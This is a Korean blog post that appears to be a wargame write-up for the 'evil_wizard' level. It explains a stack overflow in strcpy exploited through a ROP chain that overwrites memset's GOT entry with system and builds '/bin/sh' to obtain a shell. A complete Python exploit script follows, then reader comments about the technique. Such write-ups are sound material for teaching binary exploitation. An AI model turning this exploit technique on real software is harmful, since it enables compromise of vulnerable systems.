evil_wizard.c
hint 를 보면 GOT overwritting이 써있다. GOT overwritting 공격을 시도하여 쉘을 얻을 수 있다.
strcpy함수에서 overflow가 발생하여 eip를 원하는 곳으로 이동 시킬수 있게된다.
eip를 strcpy의 plt(고정주소)로 이동시켜 strcpy함수를 호출할 수 있고 ret에 poppopret가젯의 주소를 넣어 rop공격코드를 작성 할 수 있다.
strcpy를 이용하여 memset의 got에 system함수의 주소를 1바이트씩 복사 할 것이다. 그러면 memset을 호출하게되면 결국 memset의 got에 덮어씌여진 system함수를 호출 하게된다.
system함수에 인자로 들어갈 '/bin/sh'문자열도 위와 같은 rop 방식으로 strcpy함수를 호출하여 memcpy의 got에 복사하여 system함수의 인자로 넘겨 줄 것이다.
이제 필요한 주소들을 찾고 코드를 작성하면 된다.
먼저 poppopret가젯의 주소는
poppopret의 주소는 0x0804854f이다.
execve로 덮힘을 당할 memset@plt와 memset got를 찾는다.
memset@plt의 주소는 0x08048474이다.
got의 memset주소는 0x08049898이다.
got의 memcpy주소는 0x080498c0이다.
system의 주소는 0x007507c0이다.
strcpy@plt의 주소는 0x08048494이다.
필요한 got, plt주소는 구했으니
system의 주소, /, b, i, n, /, s, h가 있는 주소를 다 구하고 strcpy를 이용해서 1바이트씩 덮어 써야한다.
이렇게 전부다 뒤져서 익스플로잇 코드를 작성한다.
ret부분에 strcpy가 덮이고 인자로 덮힘당할 memsetgot의 주소와 덮을 문자의 주소가 들어간다. strcpy함수가 끝나면 poppopret 이 수행되어 인자 두개를 제끼고 다시 strcpy함수로 들어가는 rop이다.
공격을 하면
쉘을 얻을수 있다.
쉘코드:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import struct | |
def L(num): | |
return struct.pack('<I',num) | |
strcpyplt = 0x08048494 | |
ppt = 0x804854f | |
memcpygot = 0x80498C0 | |
memsetplt = 0x08048474 | |
memsetgot = 0x8049898 | |
#system 0x007507c0 | |
shellcode = 'A'*268 | |
#shellcode += L(strcpyplt) + L(ppt) + L(memsetgot) + L(0x8048534+1) #0xc0 | |
shellcode += L(strcpyplt) + L(ppt) + L(memsetgot) + L(0x8048524+8) #0xc0 | |
shellcode += L(strcpyplt) + L(ppt) + L(memsetgot+1) + L(0x80483c4+4) #0x07 | |
#shellcode += L(strcpyplt) + L(ppt) + L(memsetgot+1) + L(0x8048148+12) #0x07 | |
shellcode += L(strcpyplt) + L(ppt) + L(memsetgot+2) + L(0x80482c8) #0x75 | |
shellcode += L(strcpyplt) + L(ppt) + L(memsetgot+3) + L(0x80497a0+1) #0x00 | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot) + L(0x8048114) #/ | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+1) + L(0x8048114+3) #b | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+2) + L(0x8048114+2) #i | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+3) + L(0x8048114+10) #n | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+4) + L(0x8048114) #/ | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+5) + L(0x8048114+14) #s | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+6) + L(0x804836c) #h | |
shellcode += L(strcpyplt) + L(ppt) + L(memcpygot+7) + L(0x80497a0+1) | |
shellcode += L(memsetplt) + "AAAA" + L(memcpygot) | |
print shellcode | |
지금 한 공격이 rop인가요?
답글삭제rop체인 구성이랑 비슷한거 같은데 다른가요?
네 ROP이용하는 공격 맞습니다.
답글삭제strcpy함수를 이용해서 system함수에 들어갈 인자('/bin/sh')를 구성해주고
memset의 Got를 system함수의 주소로 덮어서 memset함수가 호출될 때 system함수가 호출되는 방식입니다.
혹시 네이트온이나 카카오톡 하시면 연락처좀 알려주실수있나요??
답글삭제궁굼한게 많아서..부탁드립니다.
위에 about 탭가시면 연락처 있어요
답글삭제